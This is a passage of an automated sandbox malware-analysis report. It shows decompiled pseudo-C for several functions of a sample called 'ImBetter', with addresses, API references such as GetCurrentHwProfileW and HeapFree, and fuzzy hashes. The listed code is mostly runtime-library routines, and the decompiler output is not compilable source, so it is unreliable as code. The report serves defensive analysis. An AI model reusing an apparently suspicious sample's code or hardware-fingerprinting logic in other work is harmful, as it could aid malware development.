			E00007FF77FF7E6B0AB40(long long* __rcx, void* __rdx, long long __rdi, long long __r12) {
				void* _t27;
				void* _t28;
				long long _t47;
				long long _t52;
				unsigned long long _t58;
				void* _t61;
				long long _t62;
				signed long long _t68;
				long long _t76;
				long long* _t78;
				long long _t79;
				unsigned long long _t80;
				void* _t82;
				signed long long _t85;
				intOrPtr _t87;

				_t87 =  *((intOrPtr*)(__rcx + 0x10));
				r15d = r9b & 0xffffffff;
				_t78 = __rcx;
				if (0xffffffff - _t87 - __rdx < 0) goto 0xe6b0ac99;
				 *((long long*)(_t82 + 0x60)) = _t79;
				_t80 =  *((intOrPtr*)(__rcx + 0x18));
				 *((long long*)(_t82 + 0x20)) = __r12;
				_t85 = __rdx + _t87;
				_t68 = _t85 | 0x0000000f;
				if (_t68 - 0xffffffff > 0) goto 0xe6b0abac;
				_t58 = _t80 >> 1;
				if (_t80 - 0xffffffff - _t58 > 0) goto 0xe6b0abac;
				_t52 =  <  ? _t58 + _t80 : _t68;
				 *((long long*)(_t82 + 0x68)) = __rdi;
				_t61 =  <  ? 0xffffffff : _t52 + 1;
				if (_t61 - 0x1000 < 0) goto 0xe6b0abf8;
				_t8 = _t61 + 0x27; // 0x8000000000000025
				_t47 = _t8;
				if (_t47 - _t61 <= 0) goto 0xe6b0ac9f;
				_t62 = _t47; // executed
				E00007FF77FF7E6B3CAAC(_t47 - _t61, _t47, _t62); // executed
				if (_t47 == 0) goto 0xe6b0ac93;
				_t9 = _t47 + 0x27; // 0x27
				 *((long long*)((_t9 & 0xffffffe0) - 8)) = _t47;
				goto 0xe6b0ac09;
				if (_t62 == 0) goto 0xe6b0ac07; // executed
				E00007FF77FF7E6B3CAAC(_t62, _t47, _t62); // executed
				_t76 = _t47;
				goto 0xe6b0ac09;
				 *(_t78 + 0x10) = _t85;
				 *((long long*)(_t78 + 0x18)) = _t52;
				if (_t80 - 0x10 < 0) goto 0xe6b0ac61;
				_t53 =  *_t78;
				E00007FF77FF7E6B3F010();
				_t13 = _t80 + 1; // 0x9
				 *((intOrPtr*)(_t87 + _t76)) = r15b;
				 *((char*)(_t87 + _t76 + 1)) = 0;
				if (_t13 - 0x1000 < 0) goto 0xe6b0ac57;
				_t18 =  *_t78 -  *((intOrPtr*)(_t53 - 8)) - 8; // 0x7ffffffffffffff7
				if (_t18 - 0x1f > 0) goto 0xe6b0ac93;
				_t27 = E00007FF77FF7E6B3CAF0(_t28,  *((intOrPtr*)(_t53 - 8))); // executed
				goto 0xe6b0ac73;
				E00007FF77FF7E6B3F010();
				 *((intOrPtr*)(_t87 + _t76)) = r15b;
				 *((char*)(_t87 + _t76 + 1)) = 0;
				 *_t78 = _t76;
				return _t27;
			}

0x7ff7e6b0ab4b
0x7ff7e6b0ab5c
0x7ff7e6b0ab63
0x7ff7e6b0ab69
0x7ff7e6b0ab6f
0x7ff7e6b0ab74
0x7ff7e6b0ab78
0x7ff7e6b0ab7d
0x7ff7e6b0ab84
0x7ff7e6b0ab8b
0x7ff7e6b0ab93
0x7ff7e6b0ab9c
0x7ff7e6b0aba8
0x7ff7e6b0abaf
0x7ff7e6b0abbf
0x7ff7e6b0abca
0x7ff7e6b0abcc
0x7ff7e6b0abcc
0x7ff7e6b0abd3
0x7ff7e6b0abd9
0x7ff7e6b0abdc
0x7ff7e6b0abe4
0x7ff7e6b0abea
0x7ff7e6b0abf2
0x7ff7e6b0abf6
0x7ff7e6b0abfb
0x7ff7e6b0abfd
0x7ff7e6b0ac02
0x7ff7e6b0ac05
0x7ff7e6b0ac09
0x7ff7e6b0ac10
0x7ff7e6b0ac1b
0x7ff7e6b0ac1d
0x7ff7e6b0ac23
0x7ff7e6b0ac28
0x7ff7e6b0ac2c
0x7ff7e6b0ac30
0x7ff7e6b0ac3d
0x7ff7e6b0ac4a
0x7ff7e6b0ac52
0x7ff7e6b0ac5a
0x7ff7e6b0ac5f
0x7ff7e6b0ac64
0x7ff7e6b0ac69
0x7ff7e6b0ac6d
0x7ff7e6b0ac73
0x7ff7e6b0ac92

APIs

_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF7E6B0AC93
Concurrency::cancel_current_task.LIBCPMT ref: 00007FF7E6B0AC9F

Memory Dump Source

Source File: 00000000.00000002.298409330.00007FF7E6B01000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7E6B00000, based on PE: true

Associated: 00000000.00000002.298405408.00007FF7E6B00000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.298446741.00007FF7E6B4F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.298464669.00007FF7E6B6B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.298469796.00007FF7E6B6F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff7e6b00000_ImBetter.jbxd

Similarity

API ID: Concurrency::cancel_current_task_invalid_parameter_noinfo_noreturn
String ID:
API String ID: 73155330-0
Opcode ID: 84b08ce007c7684f8b0a475e3a949741d5975e1cbd5ad1a7721d730727c9098e
Instruction ID: 748c6244469b14c47bbeaf25a307d821c40438984195118bebe9479380276f5a
Opcode Fuzzy Hash: 84b08ce007c7684f8b0a475e3a949741d5975e1cbd5ad1a7721d730727c9098e
Instruction Fuzzy Hash: 6D414A2172974181EE64FB169D4477AF751AB04BD8FA84A32DE6D0B7D6DF3CE0818311

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF7E6B0D1B0 Relevance: 3.1, APIs: 2, Instructions: 122
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E00007FF77FF7E6B0D1B0(void* __rcx, void* __rdx, void* __r8) {

				if (__r8 > 0) goto 0xe6b0d1d2;
				return 0;
			}

0x7ff7e6b0d1c5
0x7ff7e6b0d1d1

Memory Dump Source

Source File: 00000000.00000002.298409330.00007FF7E6B01000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7E6B00000, based on PE: true

Associated: 00000000.00000002.298405408.00007FF7E6B00000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.298446741.00007FF7E6B4F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.298464669.00007FF7E6B6B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.298469796.00007FF7E6B6F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff7e6b00000_ImBetter.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 77d40f3e529450708b88549c383351dd0cc5818391fa6f7cc1daecfc3e8cf08c
Instruction ID: 375b1d5e0b8e91a1f2d3f7223d6dc9ba2e724e1e329e92234097d95f7319cec0
Opcode Fuzzy Hash: 77d40f3e529450708b88549c383351dd0cc5818391fa6f7cc1daecfc3e8cf08c
Instruction Fuzzy Hash: 8541C132B25A55C9EBA0BE2AD95037DB790EF44FD8FA84032DE0D07B95DE38D4868315

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF7E6B32334 Relevance: 3.1, APIs: 2, Instructions: 89
COMMONLIBRARYCODE

Download Yara Rule

C-Code - Quality: 90%

			E00007FF77FF7E6B32334(long long __rbx, void* __rcx, long long __rsi) {
				intOrPtr _t59;
				intOrPtr _t63;
				intOrPtr* _t64;
				intOrPtr* _t65;
				void* _t69;
				intOrPtr* _t73;
				intOrPtr* _t75;
				intOrPtr* _t87;
				intOrPtr* _t89;
				void* _t90;
				void* _t91;
				intOrPtr* _t92;
				long long _t99;
				void* _t102;

				 *((long long*)(_t102 + 8)) = __rbx;
				 *((long long*)(_t102 + 0x10)) = _t99;
				 *((long long*)(_t102 + 0x18)) = __rsi;
				_push(_t91);
				_t63 =  *((intOrPtr*)(__rcx + 0xf8));
				_t69 = __rcx;
				if (_t63 == 0) goto 0xe6b323d0;
				if (_t63 == 0xe6b6b110) goto 0xe6b323d0;
				_t64 =  *((intOrPtr*)(__rcx + 0xe0));
				if (_t64 == 0) goto 0xe6b323d0;
				if ( *_t64 != 0) goto 0xe6b323d0;
				_t73 =  *((intOrPtr*)(__rcx + 0xf0));
				if (_t73 == 0) goto 0xe6b32396;
				if ( *_t73 != 0) goto 0xe6b32396;
				E00007FF77FF7E6B29D04(_t64, _t73);
				E00007FF77FF7E6B33CAC( *((intOrPtr*)(__rcx + 0xf8)));
				_t75 =  *((intOrPtr*)(__rcx + 0xe8));
				if (_t75 == 0) goto 0xe6b323b8;
				if ( *_t75 != 0) goto 0xe6b323b8;
				E00007FF77FF7E6B29D04(_t64, _t75);
				E00007FF77FF7E6B342EC( *((intOrPtr*)(__rcx + 0xf8)));
				E00007FF77FF7E6B29D04(_t64,  *((intOrPtr*)(__rcx + 0xe0)));
				E00007FF77FF7E6B29D04(_t64,  *((intOrPtr*)(__rcx + 0xf8)));
				_t65 =  *((intOrPtr*)(__rcx + 0x100));
				if (_t65 == 0) goto 0xe6b32423;
				if ( *_t65 != 0) goto 0xe6b32423;
				E00007FF77FF7E6B29D04(_t65,  *((intOrPtr*)(__rcx + 0x108)) - 0xfe);
				E00007FF77FF7E6B29D04(_t65,  *((intOrPtr*)(__rcx + 0x110)) - _t91);
				E00007FF77FF7E6B29D04(_t65,  *((intOrPtr*)(__rcx + 0x118)) - _t91); // executed
				E00007FF77FF7E6B29D04(_t65,  *((intOrPtr*)(__rcx + 0x100)));
				E00007FF77FF7E6B324D4( *((intOrPtr*)(__rcx + 0x120)));
				_t92 = _t69 + 0x38;
				if ( *((intOrPtr*)(_t92 - 0x10)) == 0xe6b6b338) goto 0xe6b32466;
				_t87 =  *_t92;
				if (_t87 == 0) goto 0xe6b32466;
				if ( *_t87 != 0) goto 0xe6b32466;
				E00007FF77FF7E6B29D04(0xe6b6b338, _t87);
				E00007FF77FF7E6B29D04(0xe6b6b338,  *((intOrPtr*)(_t69 + 0x128)));
				if ( *((long long*)(_t92 - 0x18)) == 0) goto 0xe6b32480;
				_t89 =  *((intOrPtr*)(_t92 - 8));
				if (_t89 == 0) goto 0xe6b32480;
				_t59 =  *_t89;
				if (_t59 != 0) goto 0xe6b32480;
				E00007FF77FF7E6B29D04(0xe6b6b338, _t89);
				if (_t59 != 0) goto 0xe6b3243f;
				_t90 = _t69;
				goto E00007FF77FF7E6B29D04;
				asm("int3");
				asm("int3");
				if (_t90 == 0) goto 0xe6b324cd;
				if (_t90 == 0xe6b4f990) goto 0xe6b324cd;
				asm("lock xadd [ecx+0x15c], eax");
				return 2;
			}

0x7ff7e6b32334
0x7ff7e6b32339
0x7ff7e6b3233e
0x7ff7e6b32343
0x7ff7e6b32348
0x7ff7e6b3234f
0x7ff7e6b32355
0x7ff7e6b32361
0x7ff7e6b32363
0x7ff7e6b3236d
0x7ff7e6b32372
0x7ff7e6b32374
0x7ff7e6b3237e
0x7ff7e6b32383
0x7ff7e6b32385
0x7ff7e6b32391
0x7ff7e6b32396
0x7ff7e6b323a0
0x7ff7e6b323a5
0x7ff7e6b323a7
0x7ff7e6b323b3
0x7ff7e6b323bf
0x7ff7e6b323cb
0x7ff7e6b323d0
0x7ff7e6b323da
0x7ff7e6b323df
0x7ff7e6b323ef
0x7ff7e6b32403
0x7ff7e6b32412
0x7ff7e6b3241e
0x7ff7e6b3242a
0x7ff7e6b3243b
0x7ff7e6b3244a
0x7ff7e6b3244c
0x7ff7e6b32452
0x7ff7e6b32457
0x7ff7e6b32459
0x7ff7e6b32461
0x7ff7e6b3246b
0x7ff7e6b3246d
0x7ff7e6b32474
0x7ff7e6b32476
0x7ff7e6b32479
0x7ff7e6b3247b
0x7ff7e6b3248c
0x7ff7e6b3248e
0x7ff7e6b324a5
0x7ff7e6b324aa
0x7ff7e6b324ab
0x7ff7e6b324af
0x7ff7e6b324bb
0x7ff7e6b324c2
0x7ff7e6b324cc

APIs

__free_lconv_mon.LIBCMT ref: 00007FF7E6B32391
__free_lconv_num.LIBCMT ref: 00007FF7E6B323B3

Part of subcall function 00007FF7E6B29D04: RtlReleasePrivilege.NTDLL ref: 00007FF7E6B29D1A
Part of subcall function 00007FF7E6B29D04: GetLastError.KERNEL32 ref: 00007FF7E6B29D24

Memory Dump Source

Source File: 00000000.00000002.298409330.00007FF7E6B01000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7E6B00000, based on PE: true

Associated: 00000000.00000002.298405408.00007FF7E6B00000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.298446741.00007FF7E6B4F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.298464669.00007FF7E6B6B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.298469796.00007FF7E6B6F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff7e6b00000_ImBetter.jbxd

Similarity

API ID: ErrorLastPrivilegeRelease__free_lconv_mon__free_lconv_num
String ID:
API String ID: 2051736352-0
Opcode ID: 3f4c476ba1ab6e65ebd986d9977ac25ed4f486ac0cf8cdde3afedc8ad9a619a0
Instruction ID: 0ae0828f43900411007b532e6fec9425fbf4767c4b547b435a851dddebba5745
Opcode Fuzzy Hash: 3f4c476ba1ab6e65ebd986d9977ac25ed4f486ac0cf8cdde3afedc8ad9a619a0
Instruction Fuzzy Hash: 78410331B6968684FF61FE22D8513BE73A1EF44B84FA44432DA0D46685DFBCE491C322

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF7E6B09B50 Relevance: 3.1, APIs: 2, Instructions: 88
COMMON

Download Yara Rule

C-Code - Quality: 82%

			E00007FF77FF7E6B09B50(long long __rax, long long __rbx, void* __rcx, void* __rdx, long long _a24) {
				long long _t21;

				_a24 = __rbx;
				asm("xorps xmm0, xmm0");
				asm("movups [ecx], xmm0");
				 *((long long*)(__rcx + 0x10)) = __rax;
				 *((long long*)(__rcx + 0x18)) = __rax;
				_t21 =  *((intOrPtr*)(__rdx + 0x10));
				if ( *((long long*)(__rdx + 0x18)) - 8 < 0) goto 0xe6b09b80;
				if (_t21 - 0xfffffffe > 0) goto 0xe6b09c78;
				 *((long long*)(__rcx + 0x18)) = 7;
				if (_t21 - 8 >= 0) goto 0xe6b09bc3;
				r8d = 0x10;
				 *((long long*)(__rcx + 0x10)) = _t21;
				E00007FF77FF7E6B3F010();
				return 0;
			}

0x7ff7e6b09b50
0x7ff7e6b09b5e
0x7ff7e6b09b61
0x7ff7e6b09b64
0x7ff7e6b09b6b
0x7ff7e6b09b77
0x7ff7e6b09b7b
0x7ff7e6b09b8d
0x7ff7e6b09b93
0x7ff7e6b09b9f
0x7ff7e6b09ba1
0x7ff7e6b09ba7
0x7ff7e6b09bae
0x7ff7e6b09bc2

APIs

_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF7E6B09C6C
Concurrency::cancel_current_task.LIBCPMT ref: 00007FF7E6B09C72

Memory Dump Source

Source File: 00000000.00000002.298409330.00007FF7E6B01000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7E6B00000, based on PE: true

Associated: 00000000.00000002.298405408.00007FF7E6B00000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.298446741.00007FF7E6B4F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.298464669.00007FF7E6B6B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.298469796.00007FF7E6B6F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff7e6b00000_ImBetter.jbxd

Similarity

API ID: Concurrency::cancel_current_task_invalid_parameter_noinfo_noreturn
String ID:
API String ID: 73155330-0
Opcode ID: 25778482291358c3595d5d82ef24c08f40800812cb677bb75e8ae73f5a54a6f8
Instruction ID: 80795031895baa18ecf659b91428960bf59f506a7b917adb8e1f139dfa2aa73f
Opcode Fuzzy Hash: 25778482291358c3595d5d82ef24c08f40800812cb677bb75e8ae73f5a54a6f8
Instruction Fuzzy Hash: 06313462F29A0184EE58BB5598003BAB290AF44BF8FB44732DA7D07BD5EE7CD0918351

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF7E6B02EB0 Relevance: 3.1, APIs: 2, Instructions: 86
COMMON

Download Yara Rule

C-Code - Quality: 87%

			E00007FF77FF7E6B02EB0(void* __rcx, void* __rdx, long long __rdi, long long __r8, long long __r15, long long _a32, long long _a104) {
				void* _t16;
				signed long long _t34;
				long long* _t51;
				void* _t53;

				if (__r8 - 0xfffffffe > 0) goto 0xe6b02fc7;
				 *((long long*)(__rcx + 0x18)) = 7;
				if (__r8 - 8 >= 0) goto 0xe6b02ef9;
				 *((long long*)(__rcx + 0x10)) = __r8;
				_pop(_t51);
				_pop(_t53);
				_pop(_t34);
				goto E00007FF77FF7E6B3F010;
				_a104 = __rdi;
				_a32 = __r15;
				r15d = 0;
				if ((_t34 | 0x00000007) - _t53 <= 0) goto 0xe6b02f22;
				goto 0xe6b02f50;
				_t55 =  <  ? 0xfffffffffffffffe : 0xffffffff;
				if (0x8000000000000000 - 0xffffffff > 0) goto 0xe6b02fc1;
				if (0x8000000000000000 - 0x1000 < 0) goto 0xe6b02f74;
				if (0x8000000000000027 <= 0) goto 0xe6b02fc1;
				E00007FF77FF7E6B3CAAC(0x8000000000000027, 0x8000000000000027, 0x8000000000000027);
				if (0x8000000000000027 == 0) goto 0xe6b02fbb;
				 *0x8000000000000038 = 0x8000000000000027;
				goto 0xe6b02f86;
				if (0x8000000000000027 == 0) goto 0xe6b02f83; // executed
				_t16 = E00007FF77FF7E6B3CAAC(0x8000000000000027, 0x8000000000000027, 0x8000000000000027); // executed
				goto 0xe6b02f86;
				 *(_t51 + 0x10) = _t34;
				 *_t51 = __r15;
				 *((long long*)(_t51 + 0x18)) =  <  ? 0xfffffffffffffffe : 0xffffffff;
				E00007FF77FF7E6B3F010();
				 *((intOrPtr*)(_t34 + _t34 + __r15)) = r15w;
				return _t16;
			}

0x7ff7e6b02ed0
0x7ff7e6b02ed6
0x7ff7e6b02ee2
0x7ff7e6b02ee7
0x7ff7e6b02ef1
0x7ff7e6b02ef2
0x7ff7e6b02ef3
0x7ff7e6b02ef4
0x7ff7e6b02ef9
0x7ff7e6b02f01
0x7ff7e6b02f0a
0x7ff7e6b02f10
0x7ff7e6b02f20
0x7ff7e6b02f37
0x7ff7e6b02f42
0x7ff7e6b02f4e
0x7ff7e6b02f57
0x7ff7e6b02f5c
0x7ff7e6b02f64
0x7ff7e6b02f6e
0x7ff7e6b02f72
0x7ff7e6b02f77
0x7ff7e6b02f79
0x7ff7e6b02f81
0x7ff7e6b02f86
0x7ff7e6b02f90
0x7ff7e6b02f96
0x7ff7e6b02f9d
0x7ff7e6b02fa2
0x7ff7e6b02fba

Memory Dump Source

Source File: 00000000.00000002.298409330.00007FF7E6B01000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7E6B00000, based on PE: true

Associated: 00000000.00000002.298405408.00007FF7E6B00000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.298446741.00007FF7E6B4F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.298464669.00007FF7E6B6B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.298469796.00007FF7E6B6F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff7e6b00000_ImBetter.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 6e9d8d00ce525d949a1c0760940124b3f04d206e74e773ab7e778fa7d8e77c59
Instruction ID: d888cb22b3882a4eb0a00be7a1055fe422e2f3382c1f5f0ca42af35181a9ded4
Opcode Fuzzy Hash: 6e9d8d00ce525d949a1c0760940124b3f04d206e74e773ab7e778fa7d8e77c59
Instruction Fuzzy Hash: 6B21D632B1A741C5E964BB41A90037AB658AB147F8FB40B31DE7D07BD5DE3CE0958311

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF7E6B02020 Relevance: 3.1, APIs: 2, Instructions: 64
COMMON

Download Yara Rule

C-Code - Quality: 39%

			E00007FF77FF7E6B02020(long long __rcx) {
				signed int _v24;
				char _v276;
				void* _v280;
				signed long long _v288;
				signed int _v296;
				char _v312;
				long long _v320;
				void* __rbx;
				void* _t28;
				void* _t29;
				signed long long _t36;
				void* _t44;
				signed long long _t58;
				void* _t61;
				long long _t62;
				long long _t63;
				signed long long _t64;
				void* _t68;

				_t36 =  *0xe6b6bbc0; // 0x7a937e77a598
				_v24 = _t36 ^ _t64;
				_t44 = __rcx;
				_v320 = __rcx;
				GetCurrentHwProfileW(??); // executed
				asm("xorps xmm0, xmm0");
				asm("movups [esp+0x30], xmm0");
				asm("xorps xmm1, xmm1");
				asm("movdqu [esp+0x40], xmm1");
				if ( *((short*)( &_v276 + 0xfffffffffffffffe)) != 0) goto 0xe6b02070;
				E00007FF77FF7E6B02EB0( &_v312,  &_v276, _t61, 0, _t68);
				_t55 =  >=  ? _v312 :  &_v312;
				_t57 =  >=  ? _v312 :  &_v312;
				E00007FF77FF7E6B02D30(_t44, _t44,  >=  ? _v312 :  &_v312, _t62, _t63, ( >=  ? _v312 :  &_v312) + _v296 * 2);
				_t58 = _v288;
				if (_t58 - 8 < 0) goto 0xe6b020f7;
				if (2 + _t58 * 2 - 0x1000 < 0) goto 0xe6b020f2;
				if (_v312 -  *((intOrPtr*)(_v312 - 8)) + 0xfffffff8 - 0x1f > 0) goto 0xe6b02113;
				return E00007FF77FF7E6B3C7F0(E00007FF77FF7E6B3CAF0(_t29,  *((intOrPtr*)(_v312 - 8))), _t28, _v24 ^ _t64);
			}

0x7ff7e6b02029
0x7ff7e6b02033
0x7ff7e6b0203b
0x7ff7e6b0203e
0x7ff7e6b02048
0x7ff7e6b0204e
0x7ff7e6b02051
0x7ff7e6b02056
0x7ff7e6b02059
0x7ff7e6b02079
0x7ff7e6b02085
0x7ff7e6b02096
0x7ff7e6b020aa
0x7ff7e6b020b3
0x7ff7e6b020b9
0x7ff7e6b020c2
0x7ff7e6b020db
0x7ff7e6b020f0
0x7ff7e6b02112

APIs

GetCurrentHwProfileW.ADVAPI32 ref: 00007FF7E6B02048
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF7E6B02113

Memory Dump Source

Source File: 00000000.00000002.298409330.00007FF7E6B01000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7E6B00000, based on PE: true

Associated: 00000000.00000002.298405408.00007FF7E6B00000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.298446741.00007FF7E6B4F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.298464669.00007FF7E6B6B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.298469796.00007FF7E6B6F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff7e6b00000_ImBetter.jbxd

Similarity

API ID: CurrentProfile_invalid_parameter_noinfo_noreturn
String ID:
API String ID: 4251659058-0
Opcode ID: 0d536abd0f82c72a2851879687cad4a8503a70a4b98f510f0ca14da8e62fb47b
Instruction ID: 3a58582a44e36d992081c3124864042ac9307272cc1ad236ab6f4cd6be50d136
Opcode Fuzzy Hash: 0d536abd0f82c72a2851879687cad4a8503a70a4b98f510f0ca14da8e62fb47b
Instruction Fuzzy Hash: 0B21A862A38A8581D940AB14E8507ABB721FBD97A4F905332EA6D027D9DF7CD044C700

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF7E6B3CAAC Relevance: 3.0, APIs: 2, Instructions: 22
COMMONLIBRARYCODE

Download Yara Rule

C-Code - Quality: 37%

			E00007FF77FF7E6B3CAAC(void* __eflags, void* __rax, void* __rcx) {
				void* _t1;

				goto 0xe6b3cac6;
				_t1 = E00007FF77FF7E6B32204(__rax, __rcx);
				if (_t1 == 0) goto 0xe6b3cad6;
				0xe6b45350(); // executed
				if (__rax == 0) goto 0xe6b3cab7;
				return _t1;
			}

0x7ff7e6b3cab5
0x7ff7e6b3caba
0x7ff7e6b3cac1
0x7ff7e6b3cac6
0x7ff7e6b3cace
0x7ff7e6b3cad5

APIs

Concurrency::cancel_current_task.LIBCPMT ref: 00007FF7E6B3CADC

Part of subcall function 00007FF7E6B3D8DC: std::bad_alloc::bad_alloc.LIBCMT ref: 00007FF7E6B3D8E5

Concurrency::cancel_current_task.LIBCPMT ref: 00007FF7E6B3CAE2

Memory Dump Source

Source File: 00000000.00000002.298409330.00007FF7E6B01000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7E6B00000, based on PE: true

Associated: 00000000.00000002.298405408.00007FF7E6B00000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.298446741.00007FF7E6B4F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.298464669.00007FF7E6B6B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.298469796.00007FF7E6B6F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff7e6b00000_ImBetter.jbxd

Similarity

API ID: Concurrency::cancel_current_task$std::bad_alloc::bad_alloc
String ID:
API String ID: 1173176844-0
Opcode ID: e0a9f1cf648f0835d26aeaab3a0d7c569fb46a933a7c02e2569f1284a49c7a85
Instruction ID: aec35bfb70bcbeda702273f9e208e901274baeaacf0dba98eb36576bb3c78531
Opcode Fuzzy Hash: e0a9f1cf648f0835d26aeaab3a0d7c569fb46a933a7c02e2569f1284a49c7a85
Instruction Fuzzy Hash: 03E09A11FB910745F96876A11D15277A1400F18370FB81B32D93D44AD7BEBCB4554136

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF7E6B29D04 Relevance: 3.0, APIs: 2, Instructions: 18
COMMONLIBRARYCODE

Download Yara Rule

C-Code - Quality: 68%

			E00007FF77FF7E6B29D04(intOrPtr* __rax, void* __rcx) {
				int _t1;
				intOrPtr _t3;
				void* _t4;
				void* _t11;
				intOrPtr _t14;

				if (__rcx == 0) goto 0xe6b29d3f;
				_t14 =  *0xe6b6d1d8; // 0x1cd7e810000, executed
				_t1 = HeapFree(_t11, ??); // executed
				if (_t1 != 0) goto 0xe6b29d3a;
				_t3 = E00007FF77FF7E6B29C10(GetLastError(), __rax, _t14, __rcx);
				_t4 = E00007FF77FF7E6B29CE4(__rax);
				 *__rax = _t3;
				return _t4;
			}

0x7ff7e6b29d07
0x7ff7e6b29d13
0x7ff7e6b29d1a
0x7ff7e6b29d22
0x7ff7e6b29d2c
0x7ff7e6b29d33
0x7ff7e6b29d38
0x7ff7e6b29d3f

APIs

RtlReleasePrivilege.NTDLL ref: 00007FF7E6B29D1A
GetLastError.KERNEL32 ref: 00007FF7E6B29D24

Memory Dump Source

Source File: 00000000.00000002.298409330.00007FF7E6B01000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7E6B00000, based on PE: true

Associated: 00000000.00000002.298405408.00007FF7E6B00000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.298446741.00007FF7E6B4F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.298464669.00007FF7E6B6B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.298469796.00007FF7E6B6F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff7e6b00000_ImBetter.jbxd

Similarity

API ID: ErrorLastPrivilegeRelease
String ID:
API String ID: 1334314998-0
Opcode ID: 9bd2a082e38bf4b0ca779737177d2440062080db6d41915b4fabc2bcdb7944e7
Instruction ID: b08d428f4fda3f52c9e275846716e263f57d90ad56f8507fa67064c259ccf168
Opcode Fuzzy Hash: 9bd2a082e38bf4b0ca779737177d2440062080db6d41915b4fabc2bcdb7944e7
Instruction Fuzzy Hash: 1FE0EC40F2964642FA1877B35C4533BB2D65F98B42FA41832C90D43251EE3C68954627

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF7E6B0D350 Relevance: 1.7, APIs: 1, Instructions: 229
COMMON

Download Yara Rule

C-Code - Quality: 81%

			E00007FF77FF7E6B0D350(void* __ecx, void* __edx, long long __rbx, void* __rcx, long long __rsi) {
				void* __rdi;
				void* __rbp;
				void* _t74;
				signed int _t75;
				signed int _t79;
				void* _t102;
				signed long long _t112;
				void* _t122;
				intOrPtr _t134;
				long long _t136;
				intOrPtr _t138;
				void* _t148;
				intOrPtr* _t154;
				intOrPtr _t162;
				long long _t165;
				intOrPtr _t166;
				void* _t170;
				long long _t172;
				void* _t173;
				void* _t175;
				signed long long _t176;
				intOrPtr _t178;
				long long* _t179;
				void* _t181;
				void* _t184;
				void* _t187;
				long long _t188;

				_t131 = __rbx;
				 *((long long*)(_t175 + 0x10)) = __rbx;
				 *((long long*)(_t175 + 0x18)) = __rsi;
				_t173 = _t175 - 0x47;
				_t176 = _t175 - 0x90;
				_t112 =  *0xe6b6bbc0; // 0x7a937e77a598
				 *(_t173 + 0x37) = _t112 ^ _t176;
				_t170 = __rcx;
				_t134 =  *((intOrPtr*)( *((intOrPtr*)(__rcx + 0x38))));
				if (_t134 == 0) goto 0xe6b0d3b3;
				_t154 =  *((intOrPtr*)(__rcx + 0x50));
				_t178 =  *_t154;
				if (_t134 - _t134 + _t178 >= 0) goto 0xe6b0d3b3;
				 *_t154 = _t178 - 1;
